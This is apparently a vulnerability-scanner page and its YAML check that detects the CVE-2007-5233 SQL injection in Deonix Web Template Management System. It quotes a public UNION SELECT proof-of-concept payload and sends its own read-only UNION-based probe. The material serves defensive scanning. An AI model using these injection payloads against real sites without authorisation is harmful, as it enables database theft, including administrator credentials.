Deonix Web Templates — 1 vulnerability check

noctis ships 1 vulnerability check for Deonix Web Templates, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Deonix Web Template Management System readmore id SQL Injection

CVECVE-2007-5233
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/deonix-web-templates/CVE-2007-5233.yaml

Web Template Management System 1.3 from deonixscripts.com puts the id parameter of index.php?action=readmore unquoted into an SQL query and prints the row it returns, allowing unauthenticated SQL injection (an attacker can read the whole database, administrator credentials included).

This check looks for the product's "Powered by: deonixscripts.com" footer on index.php under the web root and a few usual install paths. Where it is found, it requests index.php?action=readmore with an id that is a UNION SELECT of an expression multiplying two random numbers. The vulnerability is confirmed when the page returns the product computed by the database, which never appears in the request. No table data is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/index.php?action=readmore&id={{sc.q}}
  5. Parses / computes the next value with a Rhai script
  6. Checks hit_dir for ^/ → finding QoD 97: Deonix Web Template Management System readmore id SQL Injection (CVE-2007-5233)

References:

Feed source — tests/vulnerabilities/deonix-web-templates/CVE-2007-5233.yaml
# Deonix Web Template Management System 1.3 — index.php readmore 'id' SQL injection — CVE-2007-5233
#
# index.php?action=readmore&id=<id> puts id unquoted into a 4-column SELECT and
# prints the third column of the row it returns. Public PoC (EDB-4482):
#     index.php?action=readmore&id=-1 union select 0,1,@@version,3/*
#
# Detection (QoD 97): on a page that carries the product footer
# ("Powered by: <a …>deonixscripts.com"), id = -1 union select C,C,C,C-- - with
# C = CONCAT(0x4e4f43544953, a*b, 0x454e44) and random a, b. The product a*b is
# never in the request, so only an SQL engine that evaluated our expression can
# return "NOCTIS<a*b>END". C fills all four columns, whatever column the page
# prints. Read-only, no table referenced, no quotes.
#
# Better than the source NASL:
#   - the NASL ends the query with an unclosed "/*": MySQL 5.7+/MariaDB reject an
#     unterminated comment when the query goes on after id (e.g. an ORDER BY), so
#     the NASL misses those servers (checked on MariaDB 10.11: syntax error near
#     '/* ORDER BY …'); "-- -" comments the rest of the line on every version;
#   - a database-computed value instead of a fixed string echoed back, so a page
#     reflecting the URL cannot match.
#
# Source: OpenVAS/Greenbone NVT 2009/deonix_web_templates_25926.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100247, GPL-2.0-only).
uid: 9e4f5ae8-b0ae-416e-9156-3afdb0fabf90
name: "Deonix Web Template Management System readmore id SQL Injection (CVE-2007-5233)"
description: |
  Web Template Management System 1.3 from deonixscripts.com puts the id parameter
  of index.php?action=readmore unquoted into an SQL query and prints the row it
  returns, allowing unauthenticated SQL injection (an attacker can read the whole
  database, administrator credentials included).

  This check looks for the product's "Powered by: deonixscripts.com" footer on
  index.php under the web root and a few usual install paths. Where it is found,
  it requests index.php?action=readmore with an id that is a UNION SELECT of an
  expression multiplying two random numbers. The vulnerability is confirmed when
  the page returns the product computed by the database, which never appears in
  the request. No table data is read and nothing is written.
cves: [CVE-2007-5233]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [deonix, web-template-management, sqli, union-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2007-5233"
  - "https://www.exploit-db.com/exploits/4482"
  - "http://www.securityfocus.com/bid/25926"
  # OpenVAS/Greenbone NASL 2009/deonix_web_templates_25926.nasl (GPL-2.0-only)

steps:
  # ── Random operands, expected marker and the encoded id values ────────────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
      let sel = "-1%20union%20select%20" + c + "," + c + "," + c + "," + c;
      #{ want: "NOCTIS" + (a * b) + "END",
         expr: a + "*" + b,
         q: sel + "--%20-" }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit_dir
    var_value: ""

  # ── Per candidate install path (loop group) ───────────────────────────────
  - id: init-landing
    action: set_var
    var_name: landing
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/tplmgt13", "/tplmgt", "/templates"]

  - id: init-probe-resp
    action: set_var
    var_name: dx_resp
    var_value: {status: 0, body: ""}

  - id: fetch-landing
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_dir == ""'
    store_as: landing

  - id: fingerprint
    action: script
    condition: 'hit_dir == ""'
    code: |
      let body = if type_of(landing.body) == "string" { landing.body } else { "" };
      egrep("(?i)Powered by: <a [^>]+>deonixscripts\\.com", body) != ""
    store_as: is_deonix

  - id: union-probe
    action: http_request
    method: GET
    path: "{{dir}}/index.php?action=readmore&id={{sc.q}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_dir == "" && is_deonix == true'
    store_as: dx_resp

  - id: check-product
    action: script
    condition: 'hit_dir == "" && is_deonix == true'
    code: |
      let body = if type_of(dx_resp.body) == "string" { dx_resp.body } else { "" };
      if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
    store_as: hit_dir

  # ── Finding ───────────────────────────────────────────────────────────────
  - id: report
    action: match
    source: hit_dir
    pattern: "^/"
    on_match:
      finding:
        title: "Deonix Web Template Management System readmore id SQL Injection (CVE-2007-5233)"
        description: "An unauthenticated request to index.php?action=readmore with id set to a UNION SELECT of a multiplication of two random numbers returned the product computed by the database: id reaches the SQL query unquoted, so an attacker can read the whole database (administrator credentials included)."
        remediation: "No fixed release of Web Template Management System is known: remove the application, or make index.php cast id to an integer before building the query."
        confidence_delta: 0.67
        qod: 97
        evidence: "install dir {{hit_dir}}: index.php?action=readmore&id=-1 union select CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),... (4 columns)-- - returned the database-computed value {{sc.want}}"
      stop: true

View these feeds on GitHub